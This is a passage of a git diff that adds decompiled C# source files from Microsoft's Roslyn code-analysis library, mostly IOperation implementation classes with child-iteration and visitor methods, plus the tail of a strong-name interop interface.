[In][MarshalAs(UnmanagedType.U4)] int cbKeyBlob); + + void StrongNameSignatureGeneration([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, [In][MarshalAs(UnmanagedType.LPWStr)] string pwzKeyContainer, [In] IntPtr pbKeyBlob, [In][MarshalAs(UnmanagedType.U4)] int cbKeyBlob, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] ppbSignatureBlob, [MarshalAs(UnmanagedType.U4)] out int pcbSignatureBlob); + + void StrongNameSignatureGenerationEx([In][MarshalAs(UnmanagedType.LPWStr)] string wszFilePath, [In][MarshalAs(UnmanagedType.LPWStr)] string wszKeyContainer, [In] IntPtr pbKeyBlob, [In][MarshalAs(UnmanagedType.U4)] int cbKeyBlob, out IntPtr ppbSignatureBlob, [MarshalAs(UnmanagedType.U4)] out int pcbSignatureBlob, [In][MarshalAs(UnmanagedType.U4)] int dwFlags); + + void StrongNameSignatureSize([In] IntPtr pbPublicKeyBlob, [In][MarshalAs(UnmanagedType.U4)] int cbPublicKeyBlob, [MarshalAs(UnmanagedType.U4)] out int pcbSize); + + [return: MarshalAs(UnmanagedType.U4)] + int StrongNameSignatureVerification([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, [In][MarshalAs(UnmanagedType.U4)] int dwInFlags); + + [return: MarshalAs(UnmanagedType.Bool)] + bool StrongNameSignatureVerificationEx([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, [In][MarshalAs(UnmanagedType.Bool)] bool fForceVerification, out IntPtr ptr); + + [return: MarshalAs(UnmanagedType.U4)] + int StrongNameSignatureVerificationFromImage([In] IntPtr pbBase, [In][MarshalAs(UnmanagedType.U4)] int dwLength, [In][MarshalAs(UnmanagedType.U4)] int dwInFlags); + + void StrongNameTokenFromAssembly([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, out IntPtr ppbStrongNameToken, [MarshalAs(UnmanagedType.U4)] out int pcbStrongNameToken); + + void StrongNameTokenFromAssemblyEx([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, out IntPtr ppbStrongNameToken, [MarshalAs(UnmanagedType.U4)] out int pcbStrongNameToken, out IntPtr ppbPublicKeyBlob, [MarshalAs(UnmanagedType.U4)] out int pcbPublicKeyBlob); + + void StrongNameTokenFromPublicKey([In] IntPtr pbPublicKeyBlob, [In][MarshalAs(UnmanagedType.U4)] int cbPublicKeyBlob, out IntPtr ppbStrongNameToken, [MarshalAs(UnmanagedType.U4)] out int pcbStrongNameToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AddressOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AddressOfOperation.cs new file mode 100644 index 0000000..90ca97a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AddressOfOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class AddressOfOperation : Operation, IAddressOfOperation, IOperation +{ + public IOperation Reference { get; } + + internal override int ChildOperationsCount => (Reference != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.AddressOf; + + internal AddressOfOperation(IOperation reference, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Reference = Operation.SetParentOperation(reference, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Reference != null) + { + return Reference; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Reference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Reference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitAddressOf(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitAddressOf(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AggregateQueryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AggregateQueryOperation.cs new file mode 100644 index 0000000..0624244 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AggregateQueryOperation.cs @@ -0,0 +1,103 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class AggregateQueryOperation : Operation, IAggregateQueryOperation, IOperation +{ + public IOperation Group { get; } + + public IOperation Aggregation { get; } + + internal override int ChildOperationsCount => ((Group != null) ? 1 : 0) + ((Aggregation != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.None; + + internal AggregateQueryOperation(IOperation group, IOperation aggregation, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Group = Operation.SetParentOperation(group, this); + Aggregation = Operation.SetParentOperation(aggregation, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Group != null) + { + return Group; + } + break; + case 1: + if (Aggregation != null) + { + return Aggregation; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Group != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Aggregation != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Aggregation != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Group != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitAggregateQuery(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitAggregateQuery(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AnonymousFunctionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AnonymousFunctionOperation.cs new file mode 100644 index 0000000..6db5b7f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AnonymousFunctionOperation.cs @@ -0,0 +1,76 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class AnonymousFunctionOperation : Operation, IAnonymousFunctionOperation, IOperation +{ + public IMethodSymbol Symbol { get; } + + public IBlockOperation Body { get; } + + internal override int ChildOperationsCount => (Body != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.AnonymousFunction; + + internal AnonymousFunctionOperation(IMethodSymbol symbol, IBlockOperation body, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Symbol = symbol; + Body = Operation.SetParentOperation(body, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Body != null) + { + return Body; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitAnonymousFunction(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitAnonymousFunction(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AnonymousObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AnonymousObjectCreationOperation.cs new file mode 100644 index 0000000..dbd227e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AnonymousObjectCreationOperation.cs @@ -0,0 +1,89 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class AnonymousObjectCreationOperation : Operation, IAnonymousObjectCreationOperation, IOperation +{ + public ImmutableArray Initializers { get; } + + internal override int ChildOperationsCount => Initializers.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.AnonymousObjectCreation; + + internal AnonymousObjectCreationOperation(ImmutableArray initializers, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Initializers = Operation.SetParentOperation(initializers, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Initializers.Length) + { + return Initializers[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Initializers.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Initializers.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Initializers.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Initializers.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitAnonymousObjectCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitAnonymousObjectCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArgumentKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArgumentKind.cs new file mode 100644 index 0000000..a2ae16b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArgumentKind.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum ArgumentKind +{ + None, + Explicit, + ParamArray, + DefaultValue +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArgumentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArgumentOperation.cs new file mode 100644 index 0000000..b11ea51 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArgumentOperation.cs @@ -0,0 +1,89 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ArgumentOperation : Operation, IArgumentOperation, IOperation +{ + public ArgumentKind ArgumentKind { get; } + + public IParameterSymbol? Parameter { get; } + + public IOperation Value { get; } + + internal IConvertibleConversion InConversionConvertible { get; } + + public CommonConversion InConversion => InConversionConvertible.ToCommonConversion(); + + internal IConvertibleConversion OutConversionConvertible { get; } + + public CommonConversion OutConversion => OutConversionConvertible.ToCommonConversion(); + + internal override int ChildOperationsCount => (Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Argument; + + internal ArgumentOperation(ArgumentKind argumentKind, IParameterSymbol? parameter, IOperation value, IConvertibleConversion inConversion, IConvertibleConversion outConversion, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ArgumentKind = argumentKind; + Parameter = parameter; + Value = Operation.SetParentOperation(value, this); + InConversionConvertible = inConversion; + OutConversionConvertible = outConversion; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Value != null) + { + return Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitArgument(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitArgument(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayCreationOperation.cs new file mode 100644 index 0000000..233f224 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayCreationOperation.cs @@ -0,0 +1,118 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ArrayCreationOperation : Operation, IArrayCreationOperation, IOperation +{ + public ImmutableArray DimensionSizes { get; } + + public IArrayInitializerOperation? Initializer { get; } + + internal override int ChildOperationsCount => DimensionSizes.Length + ((Initializer != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ArrayCreation; + + internal ArrayCreationOperation(ImmutableArray dimensionSizes, IArrayInitializerOperation? initializer, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + DimensionSizes = Operation.SetParentOperation(dimensionSizes, this); + Initializer = Operation.SetParentOperation(initializer, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < DimensionSizes.Length) + { + return DimensionSizes[index]; + } + break; + case 1: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!DimensionSizes.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_0053; + case 0: + if (previousIndex + 1 < DimensionSizes.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_0053; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0053: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (!DimensionSizes.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: DimensionSizes.Length - 1); + } + goto case -1; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitArrayCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitArrayCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayElementReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayElementReferenceOperation.cs new file mode 100644 index 0000000..8bff941 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayElementReferenceOperation.cs @@ -0,0 +1,113 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ArrayElementReferenceOperation : Operation, IArrayElementReferenceOperation, IOperation +{ + public IOperation ArrayReference { get; } + + public ImmutableArray Indices { get; } + + internal override int ChildOperationsCount => ((ArrayReference != null) ? 1 : 0) + Indices.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ArrayElementReference; + + internal ArrayElementReferenceOperation(IOperation arrayReference, ImmutableArray indices, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ArrayReference = Operation.SetParentOperation(arrayReference, this); + Indices = Operation.SetParentOperation(indices, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (ArrayReference != null) + { + return ArrayReference; + } + break; + case 1: + if (index < Indices.Length) + { + return Indices[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (ArrayReference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Indices.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Indices.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Indices.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Indices.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (ArrayReference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitArrayElementReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitArrayElementReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayInitializerOperation.cs new file mode 100644 index 0000000..a70dffe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ArrayInitializerOperation.cs @@ -0,0 +1,88 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ArrayInitializerOperation : Operation, IArrayInitializerOperation, IOperation +{ + public ImmutableArray ElementValues { get; } + + internal override int ChildOperationsCount => ElementValues.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ArrayInitializer; + + internal ArrayInitializerOperation(ImmutableArray elementValues, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ElementValues = Operation.SetParentOperation(elementValues, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < ElementValues.Length) + { + return ElementValues[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!ElementValues.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < ElementValues.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!ElementValues.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: ElementValues.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitArrayInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitArrayInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AttributeOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AttributeOperation.cs new file mode 100644 index 0000000..7a68d5c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AttributeOperation.cs @@ -0,0 +1,73 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class AttributeOperation : Operation, IAttributeOperation, IOperation +{ + public IOperation Operation { get; } + + internal override int ChildOperationsCount => (Operation != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Attribute; + + internal AttributeOperation(IOperation operation, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operation != null) + { + return Operation; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitAttribute(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitAttribute(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AwaitOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AwaitOperation.cs new file mode 100644 index 0000000..d503d53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/AwaitOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class AwaitOperation : Operation, IAwaitOperation, IOperation +{ + public IOperation Operation { get; } + + internal override int ChildOperationsCount => (Operation != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Await; + + internal AwaitOperation(IOperation operation, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operation != null) + { + return Operation; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitAwait(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitAwait(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseAssignmentOperation.cs new file mode 100644 index 0000000..604d0ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseAssignmentOperation.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseAssignmentOperation : Operation, IAssignmentOperation, IOperation +{ + public IOperation Target { get; } + + public IOperation Value { get; } + + protected BaseAssignmentOperation(IOperation target, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Target = Operation.SetParentOperation(target, this); + Value = Operation.SetParentOperation(value, this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseCaseClauseOperation.cs new file mode 100644 index 0000000..798a577 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseCaseClauseOperation.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseCaseClauseOperation : Operation, ICaseClauseOperation, IOperation +{ + public abstract CaseKind CaseKind { get; } + + public ILabelSymbol? Label { 